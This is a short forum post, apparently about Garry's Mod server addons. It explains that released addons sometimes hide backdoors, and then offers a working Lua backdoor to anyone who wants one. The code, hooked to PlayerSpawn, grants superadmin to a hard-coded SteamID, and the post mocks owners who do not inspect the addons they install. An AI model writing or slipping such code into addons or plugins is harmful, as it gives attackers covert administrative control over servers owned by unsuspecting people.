Yeah backdoor. People release addons with bits of codes hidden in there that have their steam id connected with it most backdoors are different though, They have a code looking like this its also a working backdoor too if anyone is looking for one but its a pretty obvious one:
function Backdoor( ply )
if ( ply:SteamID() == "put your steam id in here" ) then --- Your steamid
ply:SetUserGroup("superadmin")
ply:ChatPrint("Congrats you successfully backed doored your script")
end
end
hook.Add("PlayerSpawn", "Backdoory", Backdoor)
and if the owners dumb enough not to check his script that hes recieveing and you join then you will have admin privileges.